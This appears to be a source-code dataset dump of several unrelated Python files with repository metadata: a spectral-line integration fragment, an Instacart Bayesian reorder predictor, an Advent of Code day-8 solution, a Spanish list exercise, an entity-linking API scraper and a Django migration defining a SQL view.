trapezoid rule, get milliangstroms eqw_all = 1000.*integrate.trapz(1.0-intensities, synth_dispersion) for key in abundances: abundances[key] = -9.0 blank_dispersion, blank_flux, blank_meta = model.session.rt.synthesize( model.session.stellar_photosphere, model.transitions, abundances, isotopes=model.session.metadata["isotopes"], twd=model.session.twd)[0] blank_eqw = 1000.*integrate.trapz(1.0-blank_flux[ii], blank_dispersion[ii]) # integrate everything with the trapezoid rule, get milliangstroms blank_eqw_all = 1000.*integrate.trapz(1.0-blank_flux, blank_dispersion) if get_spec: return eqw, eqw_all, blank_eqw, blank_eqw_all, synth_dispersion, intensities return eqw, eqw_all, blank_eqw, blank_eqw_all

9,557

0

307

b29384389eba26985454f182e28e8d39d6a7b891

11,406

py

Python

InstaCartBasketModel.py

ratdee/god

3349447ca3a418e94cc53a926c09f091e1720ce6

[ "MIT" ]

null

InstaCartBasketModel.py

ratdee/god

3349447ca3a418e94cc53a926c09f091e1720ce6

[ "MIT" ]

null

InstaCartBasketModel.py

ratdee/god

3349447ca3a418e94cc53a926c09f091e1720ce6

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Sat May 18 16:04:58 2019 @author: Admin """ # -*- coding: utf-8 -*- """ Created on Mon July 8 17:30:45 2019 @author: Admin """ import pandas as pd import numpy as np # reading data order_products_prior_df = pd.read_csv('order_products_prior.csv', dtype={ 'order_id': np.int32, 'product_id': np.int32, 'add_to_cart_order': np.int16, 'reordered': np.int8}) print('Loaded prior orders') print('shape of Ordersproduct priors',order_products_prior_df.shape) order_products_prior_df=order_products_prior_df.loc[order_products_prior_df['order_id']<=2110720] print('Loading orders') orders_df = pd.read_csv( 'orders.csv', dtype={ 'order_id': np.int32, 'user_id': np.int32, 'eval_set': 'category', 'order_number': np.int16, 'order_dow': np.int8, 'order_hour_of_day': np.int8, 'days_since_prior_order': np.float32}) orders_df=orders_df.loc[orders_df['order_id']<=2110720] print(orders_df.shape) print('Loading aisles info') aisles = pd.read_csv('products.csv', engine='c', usecols = ['product_id','aisle_id'], dtype={'product_id': np.int32, 'aisle_id': np.int32}) pd.set_option('display.float_format', lambda x: '%.3f' % x) print("\n Checking the loaded CSVs") print("Prior orders:", order_products_prior_df.shape) print("Orders", orders_df.shape) print("Aisles:", aisles.shape) test = orders_df[orders_df['eval_set'] == 'test' ] user_ids = test['user_id'].values orders_df = orders_df[orders_df['user_id'].isin(user_ids)] print('test shape', test.shape) print(orders_df.shape) prior = pd.DataFrame(order_products_prior_df.groupby('product_id')['reordered'] \ .agg([('number_of_orders',len),('sum_of_reorders','sum')])) print(prior.head()) prior['prior_p'] = (prior['sum_of_reorders']+1)/(prior['number_of_orders']+2) # Informed Prior print(prior.head()) print('Here is The Prior: our first guess of how probable it is that a product be reordered once it has been ordered.') #print(prior.head()) # merge everything into one dataframe and save any memory space combined_features = pd.DataFrame() combined_features = pd.merge(order_products_prior_df, orders_df, on='order_id', how='right') # slim down comb - combined_features.drop(['eval_set','order_dow','order_hour_of_day'], axis=1, inplace=True) del order_products_prior_df del orders_df combined_features = pd.merge(combined_features, aisles, on ='product_id', how = 'left') del aisles prior.reset_index(inplace = True) combined_features = pd.merge(combined_features, prior, on ='product_id', how = 'left') del prior #print(combined_features.head()) recount = pd.DataFrame() recount['reorder_c'] = combined_features.groupby(combined_features.order_id)['reordered'].sum().fillna(0) #print(recount.head(20)) print('classification') bins = [-0.1, 0, 2,4,6,8,11,14,19,71] cat = ['None','<=2','<=4','<=6','<=8','<=11','<=14','<=19','>19'] recount['reorder_b'] = pd.cut(recount['reorder_c'], bins, labels = cat) recount.reset_index(inplace = True) #print(recount.head(20)) #We discretize reorder count into categories, 9 buckets, being sure to include 0 as bucket. These bins maximize mutual information with ['reordered']. combined_features = pd.merge(combined_features, recount, how = 'left', on = 'order_id') del recount #print(combined_features.head(50)) bins = [0,2,3,5,7,9,12,17,80] cat = ['<=2','<=3','<=5','<=7','<=9','<=12','<=17','>17'] combined_features['atco1'] = pd.cut(combined_features['add_to_cart_order'], bins, labels = cat) del combined_features['add_to_cart_order'] #print(combined_features.head(50)) combined_features.to_csv('combined_features.csv', index=False) atco_fac = pd.DataFrame() atco_fac = combined_features.groupby(['reordered', 'atco1'])['atco1'].agg(np.count_nonzero).unstack('atco1') #print(atco_fac.head(10)) tot = np.sum(atco_fac,axis=1) print(tot.head(10)) atco_fac = atco_fac.iloc[:,:].div(tot, axis=0) #print(atco_fac.head(10)) atco_fac = atco_fac.stack('atco1') #print(atco_fac.head(20)) atco_fac = pd.DataFrame(atco_fac) atco_fac.reset_index(inplace = True) atco_fac.rename(columns = {0:'atco_fac_p'}, inplace = True) combined_features = pd.merge(combined_features, atco_fac, how='left', on=('reordered', 'atco1')) combined_features.head(50) aisle_fac = pd.DataFrame() aisle_fac = combined_features.groupby(['reordered', 'atco1', 'aisle_id'])['aisle_id']\ .agg(np.count_nonzero).unstack('aisle_id') print(aisle_fac.head(30)) #print(aisle_fac.head(30)) tot = np.sum(aisle_fac,axis=1) print(tot.head(20)) aisle_fac = aisle_fac.iloc[:,:].div(tot, axis=0) print(aisle_fac.head(20)) print('Stacking Aisle Fac') aisle_fac = aisle_fac.stack('aisle_id') print(aisle_fac.head(20)) aisle_fac = pd.DataFrame(aisle_fac) aisle_fac.reset_index(inplace = True) aisle_fac.rename(columns = {0:'aisle_fac_p'}, inplace = True) combined_features = pd.merge(combined_features, aisle_fac, how = 'left', on = ('aisle_id','reordered','atco1')) recount_fac = pd.DataFrame() recount_fac = combined_features.groupby(['reordered', 'atco1', 'reorder_b'])['reorder_b']\ .agg(np.count_nonzero).unstack('reorder_b') print(recount_fac.head(20)) tot = pd.DataFrame() tot = np.sum(recount_fac,axis=1) print(tot.head(20)) recount_fac = recount_fac.iloc[:,:].div(tot, axis=0) print(recount_fac.head(20)) #print('after stacking***************************') recount_fac.stack('reorder_b') print(recount_fac.head(20)) recount_fac = pd.DataFrame(recount_fac.unstack('reordered').unstack('atco1')).reset_index() #print(recount_fac.head(20)) recount_fac.rename(columns = {0:'recount_fac_p'}, inplace = True) combined_features = pd.merge(combined_features, recount_fac, how = 'left', on = ('reorder_b', 'reordered', 'atco1')) print(recount_fac.head(50)) print(combined_features.head(20)) p = pd.DataFrame() p = (combined_features.loc[:,'atco_fac_p'] * combined_features.loc[:,'aisle_fac_p'] * combined_features.loc[:,'recount_fac_p']) p.reset_index() combined_features['p'] = p print(combined_features.head(30)) comb0 = pd.DataFrame() print(combined_features.shape) comb0 = combined_features[combined_features['reordered']==0] print(comb0.shape) comb0.loc[:,'first_order'] = comb0['order_number'] # now every product that was ordered has a posterior in usr. comb0.loc[:,'beta'] = 1 comb0.loc[:,'bf'] = (comb0.loc[:,'prior_p'] * comb0.loc[:,'p']/(1 - comb0.loc[:,'p'])) # bf1 # Small 'slight of hand' here. comb0.bf is really the first posterior and second prior. #comb0.to_csv('comb0.csv', index=False) # Calculate beta and BF1 for the reordered products comb1 = pd.DataFrame() comb1 = combined_features[combined_features['reordered']==1] comb1.loc[:,'beta'] = (1 - .05*comb1.loc[:,'days_since_prior_order']/30) comb1.loc[:,'bf'] = (1 - comb1.loc[:,'p'])/comb1.loc[:,'p'] # bf0 comb_last = pd.DataFrame() comb_last = pd.concat([comb0, comb1], axis=0).reset_index(drop=True) comb_last = comb_last[['reordered', 'user_id', 'order_id', 'product_id','reorder_c','order_number', 'bf','beta','atco_fac_p', 'aisle_fac_p', 'recount_fac_p']] comb_last = comb_last.sort_values((['user_id', 'order_number', 'bf'])) pd.set_option('display.float_format', lambda x: '%.6f' % x) comb_last.head() first_order = pd.DataFrame() first_order = comb_last[comb_last.reordered == 0] first_order.rename(columns = {'order_number':'first_o'}, inplace = True) first_order.to_csv('first_order_before_transform.csv', index=False) first_order.loc[:,'last_o'] = comb_last.groupby(['user_id'])['order_number'].transform(max) first_order.to_csv('first_order_transform.csv', index=False) first_order = first_order[['user_id','product_id','first_o','last_o']] comb_last = pd.merge(comb_last, first_order, on = ('user_id', 'product_id'), how = 'left') comb_last.head() comb_last.to_csv('comb_last.csv') comb_last = pd.read_csv('comb_last.csv', index_col=0) #comb_last.to_csv('comb_last.csv', index=False) temp = pd.pivot_table(comb_last[(comb_last.user_id == 786 ) & (comb_last.first_o == comb_last.order_number)], values = 'bf', index = ['user_id', 'product_id'], columns = 'order_number', dropna=False) #print (temp.head(10)) temp = temp.fillna(method='pad', axis=1).fillna(1) temp.head(10) temp.to_csv('temp.csv') #print(pd.pivot_table(comb_last[comb_last.first_o <= comb_last.order_number], # values = 'bf', index = ['user_id', 'product_id'], # columns = 'order_number').head(10)) temp.update(pd.pivot_table(comb_last[comb_last.first_o <= comb_last.order_number], values = 'bf', index = ['user_id', 'product_id'], columns = 'order_number')) print(temp.head(10)) #temp.to_csv('temp.csv') import logging logging.basicConfig(filename='bayes.log',level=logging.DEBUG) logging.debug("Started Posterior calculations") print("Started Posterior calculations") pred = pd.DataFrame(columns=['user_id', 'product_id']) pred['user_id'] = pred.user_id.astype(np.int32) pred['product_id'] = pred.product_id.astype(np.int32) for uid in comb_last.user_id.unique(): if uid % 1000 == 0: print("Posterior calculated until user %d" % uid) logging.debug("Posterior calculated until user %d" % uid) # del comb_last_temp comb_last_temp = pd.DataFrame() comb_last_temp = comb_last[comb_last['user_id'] == uid].reset_index() # del com com = pd.DataFrame() com = pd.pivot_table(comb_last_temp[comb_last_temp.first_o == comb_last_temp.order_number], values = 'bf', index = ['user_id', 'product_id'], columns = 'order_number', dropna=False) com = com.fillna(method='pad', axis=1).fillna(1) com.update(pd.pivot_table(comb_last_temp[comb_last_temp.first_o <= comb_last_temp.order_number], values = 'bf', index = ['user_id', 'product_id'], columns = 'order_number')) com.reset_index(inplace=True) com['posterior'] = com.product(axis=1) pred = pred.append(com.sort_values(by=['posterior'], ascending=False).head(10) \ .groupby('user_id')['product_id'].apply(list).reset_index()) print("Posterior calculated for all users") logging.debug("Posterior calculated for all users") pred = pred.rename(columns={'product_id': 'products'}) print(pred.head()) pred.to_csv('Finalpredictions.csv', index=False) pred = pred.merge(test, on='user_id', how='left')[['order_id', 'products']] pred['products'] = pred['products'].apply(lambda x: [int(i) for i in x]) \ .astype(str).apply(lambda x: x.strip('[]').replace(',', '')) print(pred.head()) pred.to_csv('Testpredictions.csv', index=False)

31.421488

151

0.65299

# -*- coding: utf-8 -*- """ Created on Sat May 18 16:04:58 2019 @author: Admin """ # -*- coding: utf-8 -*- """ Created on Mon July 8 17:30:45 2019 @author: Admin """ import pandas as pd import numpy as np # reading data order_products_prior_df = pd.read_csv('order_products_prior.csv', dtype={ 'order_id': np.int32, 'product_id': np.int32, 'add_to_cart_order': np.int16, 'reordered': np.int8}) print('Loaded prior orders') print('shape of Ordersproduct priors',order_products_prior_df.shape) order_products_prior_df=order_products_prior_df.loc[order_products_prior_df['order_id']<=2110720] print('Loading orders') orders_df = pd.read_csv( 'orders.csv', dtype={ 'order_id': np.int32, 'user_id': np.int32, 'eval_set': 'category', 'order_number': np.int16, 'order_dow': np.int8, 'order_hour_of_day': np.int8, 'days_since_prior_order': np.float32}) orders_df=orders_df.loc[orders_df['order_id']<=2110720] print(orders_df.shape) print('Loading aisles info') aisles = pd.read_csv('products.csv', engine='c', usecols = ['product_id','aisle_id'], dtype={'product_id': np.int32, 'aisle_id': np.int32}) pd.set_option('display.float_format', lambda x: '%.3f' % x) print("\n Checking the loaded CSVs") print("Prior orders:", order_products_prior_df.shape) print("Orders", orders_df.shape) print("Aisles:", aisles.shape) test = orders_df[orders_df['eval_set'] == 'test' ] user_ids = test['user_id'].values orders_df = orders_df[orders_df['user_id'].isin(user_ids)] print('test shape', test.shape) print(orders_df.shape) prior = pd.DataFrame(order_products_prior_df.groupby('product_id')['reordered'] \ .agg([('number_of_orders',len),('sum_of_reorders','sum')])) print(prior.head()) prior['prior_p'] = (prior['sum_of_reorders']+1)/(prior['number_of_orders']+2) # Informed Prior print(prior.head()) print('Here is The Prior: our first guess of how probable it is that a product be reordered once it has been ordered.') #print(prior.head()) # merge everything into one dataframe and save any memory space combined_features = pd.DataFrame() combined_features = pd.merge(order_products_prior_df, orders_df, on='order_id', how='right') # slim down comb - combined_features.drop(['eval_set','order_dow','order_hour_of_day'], axis=1, inplace=True) del order_products_prior_df del orders_df combined_features = pd.merge(combined_features, aisles, on ='product_id', how = 'left') del aisles prior.reset_index(inplace = True) combined_features = pd.merge(combined_features, prior, on ='product_id', how = 'left') del prior #print(combined_features.head()) recount = pd.DataFrame() recount['reorder_c'] = combined_features.groupby(combined_features.order_id)['reordered'].sum().fillna(0) #print(recount.head(20)) print('classification') bins = [-0.1, 0, 2,4,6,8,11,14,19,71] cat = ['None','<=2','<=4','<=6','<=8','<=11','<=14','<=19','>19'] recount['reorder_b'] = pd.cut(recount['reorder_c'], bins, labels = cat) recount.reset_index(inplace = True) #print(recount.head(20)) #We discretize reorder count into categories, 9 buckets, being sure to include 0 as bucket. These bins maximize mutual information with ['reordered']. combined_features = pd.merge(combined_features, recount, how = 'left', on = 'order_id') del recount #print(combined_features.head(50)) bins = [0,2,3,5,7,9,12,17,80] cat = ['<=2','<=3','<=5','<=7','<=9','<=12','<=17','>17'] combined_features['atco1'] = pd.cut(combined_features['add_to_cart_order'], bins, labels = cat) del combined_features['add_to_cart_order'] #print(combined_features.head(50)) combined_features.to_csv('combined_features.csv', index=False) atco_fac = pd.DataFrame() atco_fac = combined_features.groupby(['reordered', 'atco1'])['atco1'].agg(np.count_nonzero).unstack('atco1') #print(atco_fac.head(10)) tot = np.sum(atco_fac,axis=1) print(tot.head(10)) atco_fac = atco_fac.iloc[:,:].div(tot, axis=0) #print(atco_fac.head(10)) atco_fac = atco_fac.stack('atco1') #print(atco_fac.head(20)) atco_fac = pd.DataFrame(atco_fac) atco_fac.reset_index(inplace = True) atco_fac.rename(columns = {0:'atco_fac_p'}, inplace = True) combined_features = pd.merge(combined_features, atco_fac, how='left', on=('reordered', 'atco1')) combined_features.head(50) aisle_fac = pd.DataFrame() aisle_fac = combined_features.groupby(['reordered', 'atco1', 'aisle_id'])['aisle_id']\ .agg(np.count_nonzero).unstack('aisle_id') print(aisle_fac.head(30)) #print(aisle_fac.head(30)) tot = np.sum(aisle_fac,axis=1) print(tot.head(20)) aisle_fac = aisle_fac.iloc[:,:].div(tot, axis=0) print(aisle_fac.head(20)) print('Stacking Aisle Fac') aisle_fac = aisle_fac.stack('aisle_id') print(aisle_fac.head(20)) aisle_fac = pd.DataFrame(aisle_fac) aisle_fac.reset_index(inplace = True) aisle_fac.rename(columns = {0:'aisle_fac_p'}, inplace = True) combined_features = pd.merge(combined_features, aisle_fac, how = 'left', on = ('aisle_id','reordered','atco1')) recount_fac = pd.DataFrame() recount_fac = combined_features.groupby(['reordered', 'atco1', 'reorder_b'])['reorder_b']\ .agg(np.count_nonzero).unstack('reorder_b') print(recount_fac.head(20)) tot = pd.DataFrame() tot = np.sum(recount_fac,axis=1) print(tot.head(20)) recount_fac = recount_fac.iloc[:,:].div(tot, axis=0) print(recount_fac.head(20)) #print('after stacking***************************') recount_fac.stack('reorder_b') print(recount_fac.head(20)) recount_fac = pd.DataFrame(recount_fac.unstack('reordered').unstack('atco1')).reset_index() #print(recount_fac.head(20)) recount_fac.rename(columns = {0:'recount_fac_p'}, inplace = True) combined_features = pd.merge(combined_features, recount_fac, how = 'left', on = ('reorder_b', 'reordered', 'atco1')) print(recount_fac.head(50)) print(combined_features.head(20)) p = pd.DataFrame() p = (combined_features.loc[:,'atco_fac_p'] * combined_features.loc[:,'aisle_fac_p'] * combined_features.loc[:,'recount_fac_p']) p.reset_index() combined_features['p'] = p print(combined_features.head(30)) comb0 = pd.DataFrame() print(combined_features.shape) comb0 = combined_features[combined_features['reordered']==0] print(comb0.shape) comb0.loc[:,'first_order'] = comb0['order_number'] # now every product that was ordered has a posterior in usr. comb0.loc[:,'beta'] = 1 comb0.loc[:,'bf'] = (comb0.loc[:,'prior_p'] * comb0.loc[:,'p']/(1 - comb0.loc[:,'p'])) # bf1 # Small 'slight of hand' here. comb0.bf is really the first posterior and second prior. #comb0.to_csv('comb0.csv', index=False) # Calculate beta and BF1 for the reordered products comb1 = pd.DataFrame() comb1 = combined_features[combined_features['reordered']==1] comb1.loc[:,'beta'] = (1 - .05*comb1.loc[:,'days_since_prior_order']/30) comb1.loc[:,'bf'] = (1 - comb1.loc[:,'p'])/comb1.loc[:,'p'] # bf0 comb_last = pd.DataFrame() comb_last = pd.concat([comb0, comb1], axis=0).reset_index(drop=True) comb_last = comb_last[['reordered', 'user_id', 'order_id', 'product_id','reorder_c','order_number', 'bf','beta','atco_fac_p', 'aisle_fac_p', 'recount_fac_p']] comb_last = comb_last.sort_values((['user_id', 'order_number', 'bf'])) pd.set_option('display.float_format', lambda x: '%.6f' % x) comb_last.head() first_order = pd.DataFrame() first_order = comb_last[comb_last.reordered == 0] first_order.rename(columns = {'order_number':'first_o'}, inplace = True) first_order.to_csv('first_order_before_transform.csv', index=False) first_order.loc[:,'last_o'] = comb_last.groupby(['user_id'])['order_number'].transform(max) first_order.to_csv('first_order_transform.csv', index=False) first_order = first_order[['user_id','product_id','first_o','last_o']] comb_last = pd.merge(comb_last, first_order, on = ('user_id', 'product_id'), how = 'left') comb_last.head() comb_last.to_csv('comb_last.csv') comb_last = pd.read_csv('comb_last.csv', index_col=0) #comb_last.to_csv('comb_last.csv', index=False) temp = pd.pivot_table(comb_last[(comb_last.user_id == 786 ) & (comb_last.first_o == comb_last.order_number)], values = 'bf', index = ['user_id', 'product_id'], columns = 'order_number', dropna=False) #print (temp.head(10)) temp = temp.fillna(method='pad', axis=1).fillna(1) temp.head(10) temp.to_csv('temp.csv') #print(pd.pivot_table(comb_last[comb_last.first_o <= comb_last.order_number], # values = 'bf', index = ['user_id', 'product_id'], # columns = 'order_number').head(10)) temp.update(pd.pivot_table(comb_last[comb_last.first_o <= comb_last.order_number], values = 'bf', index = ['user_id', 'product_id'], columns = 'order_number')) print(temp.head(10)) #temp.to_csv('temp.csv') import logging logging.basicConfig(filename='bayes.log',level=logging.DEBUG) logging.debug("Started Posterior calculations") print("Started Posterior calculations") pred = pd.DataFrame(columns=['user_id', 'product_id']) pred['user_id'] = pred.user_id.astype(np.int32) pred['product_id'] = pred.product_id.astype(np.int32) for uid in comb_last.user_id.unique(): if uid % 1000 == 0: print("Posterior calculated until user %d" % uid) logging.debug("Posterior calculated until user %d" % uid) # del comb_last_temp comb_last_temp = pd.DataFrame() comb_last_temp = comb_last[comb_last['user_id'] == uid].reset_index() # del com com = pd.DataFrame() com = pd.pivot_table(comb_last_temp[comb_last_temp.first_o == comb_last_temp.order_number], values = 'bf', index = ['user_id', 'product_id'], columns = 'order_number', dropna=False) com = com.fillna(method='pad', axis=1).fillna(1) com.update(pd.pivot_table(comb_last_temp[comb_last_temp.first_o <= comb_last_temp.order_number], values = 'bf', index = ['user_id', 'product_id'], columns = 'order_number')) com.reset_index(inplace=True) com['posterior'] = com.product(axis=1) pred = pred.append(com.sort_values(by=['posterior'], ascending=False).head(10) \ .groupby('user_id')['product_id'].apply(list).reset_index()) print("Posterior calculated for all users") logging.debug("Posterior calculated for all users") pred = pred.rename(columns={'product_id': 'products'}) print(pred.head()) pred.to_csv('Finalpredictions.csv', index=False) pred = pred.merge(test, on='user_id', how='left')[['order_id', 'products']] pred['products'] = pred['products'].apply(lambda x: [int(i) for i in x]) \ .astype(str).apply(lambda x: x.strip('[]').replace(',', '')) print(pred.head()) pred.to_csv('Testpredictions.csv', index=False)

0

7fd92d07a2e0b82f1ab5b3fd18e39426450f7bfc

2,152

py

Python

week2/day8.py

shaunnorris/aoc2020

694b83ba26e0c43b4839affc90e4cfab3debbd07

[ "MIT" ]

null

week2/day8.py

shaunnorris/aoc2020

694b83ba26e0c43b4839affc90e4cfab3debbd07

[ "MIT" ]

null

week2/day8.py

shaunnorris/aoc2020

694b83ba26e0c43b4839affc90e4cfab3debbd07

[ "MIT" ]

null

import copy testfile = "day8_test_input.txt" testdata = load_input_file(testfile) todaylist = load_input_file("day8input.txt") part1 = run_commands(todaylist)[0] print("part1:", part1) part2 = alter_commands(todaylist) print("part2:", part2)

27.240506

75

0.574349

import copy testfile = "day8_test_input.txt" def test_load_input_file(): assert len(load_input_file(testfile)) == 9 def load_input_file(target): outputlist = [] with open(target) as f: raw_list = [line.strip() for line in f] for line in raw_list: outputlist.append(line.split(" ")) return outputlist testdata = load_input_file(testfile) def test_run_commands(): assert run_commands(testdata) == (5, False) def run_commands(cmdlist): offset = 0 accumulator = 0 already_run = [] noloop = True success = False while noloop: if offset not in already_run: if offset < len(cmdlist): command = cmdlist[offset][0] qty = int(cmdlist[offset][1]) if command == "nop": already_run.append(offset) offset += 1 elif command == "acc": already_run.append(offset) offset += 1 accumulator += qty elif command == "jmp": already_run.append(offset) offset = offset + qty elif offset == len(cmdlist): return accumulator, True else: noloop = False return accumulator, success def test_alter_commands(): assert alter_commands(testdata) == 8 def alter_commands(cmdlist): jmpindices = [i for i, s in enumerate(cmdlist) if "jmp" in s] nopindices = [i for i, s in enumerate(cmdlist) if "nop" in s] indices = nopindices + jmpindices for index in indices: thisrun = copy.deepcopy(cmdlist) if cmdlist[index][0] == "jmp": thisrun[index][0] = "nop" elif cmdlist[index][0] == "nop": thisrun[index][0] = "jmp" testrun = run_commands(thisrun) if testrun[1] == True: print("successful run found by changing instruction at", index) return testrun[0] todaylist = load_input_file("day8input.txt") part1 = run_commands(todaylist)[0] print("part1:", part1) part2 = alter_commands(todaylist) print("part2:", part2)

1,761

0

138

0d36937846c01413e0090a7643f6609fb8616a0a

445

py

Python

Ago-Dic-2019/Luis Llanes/Practica1/ejercicio5-7.py

Arbupa/DAS_Sistemas

52263ab91436b2e5a24ce6f8493aaa2e2fe92fb1

[ "MIT" ]

41

2017-09-26T09:36:32.000Z

2022-03-19T18:05:25.000Z

Ago-Dic-2019/Luis Llanes/Practica1/ejercicio5-7.py

Arbupa/DAS_Sistemas

52263ab91436b2e5a24ce6f8493aaa2e2fe92fb1

[ "MIT" ]

67

2017-09-11T05:06:12.000Z

2022-02-14T04:44:04.000Z

Ago-Dic-2019/Luis Llanes/Practica1/ejercicio5-7.py

Arbupa/DAS_Sistemas

52263ab91436b2e5a24ce6f8493aaa2e2fe92fb1

[ "MIT" ]

210

2017-09-01T00:10:08.000Z

2022-03-19T18:05:12.000Z

Frutas_favoritas = ["Mangos", "Manzanas", "Bananas"] if("Mangos" in Frutas_favoritas): print("La neta si me gustan mucho los Manguitos") if("Cocos" in Frutas_favoritas): print("En verdad me agradan los cocos") if("Manzanas" in Frutas_favoritas): print("Me gustan mucho las manzanas") if("Kiwis" in Frutas_favoritas): print("Comer kiwis esta chido") if("Bananas" in Frutas_favoritas): print("Las bananas saben muy ricas")

27.8125

53

0.71236

Frutas_favoritas = ["Mangos", "Manzanas", "Bananas"] if("Mangos" in Frutas_favoritas): print("La neta si me gustan mucho los Manguitos") if("Cocos" in Frutas_favoritas): print("En verdad me agradan los cocos") if("Manzanas" in Frutas_favoritas): print("Me gustan mucho las manzanas") if("Kiwis" in Frutas_favoritas): print("Comer kiwis esta chido") if("Bananas" in Frutas_favoritas): print("Las bananas saben muy ricas")

0

98bebd6603bbed75923ed756d9394c967e7166a2

2,430

py

Python

scrapy/get_enti_and_know.py

LouisYZK/recruitKG

2f65f005230ea0ca05eb45d9e1e689f83dec2720

[ "MIT" ]

null

scrapy/get_enti_and_know.py

LouisYZK/recruitKG

2f65f005230ea0ca05eb45d9e1e689f83dec2720

[ "MIT" ]

null

scrapy/get_enti_and_know.py

LouisYZK/recruitKG

2f65f005230ea0ca05eb45d9e1e689f83dec2720

[ "MIT" ]

null

import sqlite3 import requests import json import time """ Input: doc from zhilian_doc.db Aim: get the entities/knowledges in the doc. store them into entites.json/knowledges.json entities.json: { 'name+position':List(entities), } konwledges.json: { 'entity':[ ['relation', 'entity'], ... ], } """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36' } conn = sqlite3.connect('zhilian_doc.db') cur = conn.cursor() data = cur.execute('select * from zhilian_doc') seen_entity = set() name, pos, doc = next(data) entities = get_entity(doc) while True: name, pos, doc = next(data) time.sleep(3) entities = get_entity(doc) entities = list(flatten(entities)) # knows = get_triple_tuple(entities) print(entities) # en_store_to_json(name, pos, entities) # konw_store_to_json(name, pos, knows)

25.851064

139

0.617695

import sqlite3 import requests import json import time """ Input: doc from zhilian_doc.db Aim: get the entities/knowledges in the doc. store them into entites.json/knowledges.json entities.json: { 'name+position':List(entities), } konwledges.json: { 'entity':[ ['relation', 'entity'], ... ], } """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36' } def flatten(items): for x in items: if hasattr(x,'__iter__') and not isinstance(x, (str, bytes)): # for sub_x in flatten(x): # yield sub_x yield from flatten(x) else: yield x def get_entity(doc): url = 'http://shuyantech.com/api/entitylinking/cutsegment' doc = doc.split('。') entities = [] for item in doc: params = {'q':item} r = requests.get(url, params=params, headers=headers) entity = json.loads(r.text)['entities'] entities.append([item2[1] for item2 in entity]) return entities def get_triple_tuple(entities): url = 'http://shuyantech.com/api/cndbpedia/avpair' know = {} for item in entities: if item not in seen_entity: seen_entity.add(item) params = {'q':item} text = requests.get(url, params=params, headers=headers).text knowledge = json.loads(text)['ret'] know[item] = knowledge return know def en_store_to_json(name, pos, entities): en = {} with open('./entities.json', 'a') as fp: en[name + pos] = entities json.dump(en, fp) def konw_store_to_json(name, pos, knows): with open('./knows.json', 'a') as fp: json.dump(knows, fp) def get_proxy(): return requests.get("http://127.0.0.1:5010/get/").content def delete_proxy(proxy): requests.get("http://127.0.0.1:5010/delete/?proxy={}".format(proxy)) conn = sqlite3.connect('zhilian_doc.db') cur = conn.cursor() data = cur.execute('select * from zhilian_doc') seen_entity = set() name, pos, doc = next(data) entities = get_entity(doc) while True: name, pos, doc = next(data) time.sleep(3) entities = get_entity(doc) entities = list(flatten(entities)) # knows = get_triple_tuple(entities) print(entities) # en_store_to_json(name, pos, entities) # konw_store_to_json(name, pos, knows)

1,310

0

161

438643e5aacef760fca7aa171a129595bcaf3cd1

26,276

py

Python

cit-api/pipeline/migrations/0149_auto_20210416_1946.py

bcgov/CIT

b9db4f169b52e9a6293b3ee1e61935888074215a

[ "Apache-2.0" ]

10

2020-11-12T15:13:40.000Z

2022-03-05T22:33:08.000Z

cit-api/pipeline/migrations/0149_auto_20210416_1946.py

bcgov/CIT

b9db4f169b52e9a6293b3ee1e61935888074215a

[ "Apache-2.0" ]

28

2020-07-17T16:33:55.000Z

2022-03-21T16:24:25.000Z

cit-api/pipeline/migrations/0149_auto_20210416_1946.py

bcgov/CIT

b9db4f169b52e9a6293b3ee1e61935888074215a

[ "Apache-2.0" ]

5

2020-11-02T23:39:53.000Z

2022-03-01T19:09:45.000Z

# Generated by Django 2.2.16 on 2021-04-16 19:46 from django.db import migrations

61.106977

169

0.590463

# Generated by Django 2.2.16 on 2021-04-16 19:46 from django.db import migrations def change_status(apps, schema_editor): ApprovalStatus = apps.get_model("pipeline", "ApprovalStatus") status = ApprovalStatus.objects.get(status_code="CLOS") status.status_name = "Closed" status.save() def undo_change_status(apps, schema_editor): ApprovalStatus = apps.get_model("pipeline", "ApprovalStatus") status = ApprovalStatus.objects.get(status_code="CLOS") status.status_name = "Closed" status.save() class Migration(migrations.Migration): dependencies = [ ('pipeline', '0148_indianreservebandname_band_name'), ] operations = [ migrations.RunPython(change_status, undo_change_status), migrations.RunSQL("""DROP VIEW IF EXISTS public.cit_opportunities_vw; CREATE OR REPLACE VIEW public.cit_opportunities_vw AS SELECT o.id AS opportunity_id, o.opportunity_address, st_y(o.geo_position) AS latitude, st_x(o.geo_position) AS longitude, o.date_created, o.date_updated, ( SELECT a.status_name AS approval_status_name FROM pipeline_approvalstatus a WHERE a.status_code::text = o.approval_status_id::text) AS approval_status_name, ( SELECT a.status_description AS approval_status_description FROM pipeline_approvalstatus a WHERE a.status_code::text = o.approval_status_id::text) AS approval_status_description, ( SELECT a.active_status AS approval_status_active_ind FROM pipeline_approvalstatus a WHERE a.status_code::text = o.approval_status_id::text) AS approval_status_active_ind, o.business_contact_email, o.business_contact_name, o.community_link AS community_url, o.elevation_at_location AS location_elevation, o.environmental_information, o.opportunity_description, o.opportunity_electrical_capacity, o.opportunity_electrical_connected AS opportunity_electrical_connected_ind, o.opportunity_link AS opportunity_url, o.opportunity_name, o.opportunity_natural_gas_capacity, o.opportunity_natural_gas_connected AS opportunity_natural_gas_connected_ind, o.opportunity_road_connected AS opportunity_road_connected_ind, o.opportunity_sewer_capacity, o.opportunity_sewer_connected AS opportunity_sewer_connected_ind, o.opportunity_water_capacity, o.opportunity_water_connected AS opportunity_water_connected_ind, o.parcel_ownership, o.parcel_size AS parcel_size_acres, o.pid, o.soil_drainage, o.soil_name, o.soil_texture, o.last_admin, o.public_note, o.date_published, ( SELECT l.name FROM pipeline_landusezoning l WHERE l.code::text = o.land_use_zoning::text) AS land_use_zoning_name, ( SELECT l.description FROM pipeline_landusezoning l WHERE l.code::text = o.land_use_zoning::text) AS land_use_zoning_desc, ( SELECT l.name FROM pipeline_landusezoning l WHERE l.code::text = o.ocp_zoning_code::text) AS ocp_zoning_name, ( SELECT l.description FROM pipeline_landusezoning l WHERE l.code::text = o.ocp_zoning_code::text) AS ocp_zoning_desc, ( SELECT p.name FROM pipeline_propertystatus p WHERE p.code::text = o.opportunity_property_status::text) AS opportunity_property_status_name, ( SELECT p.description FROM 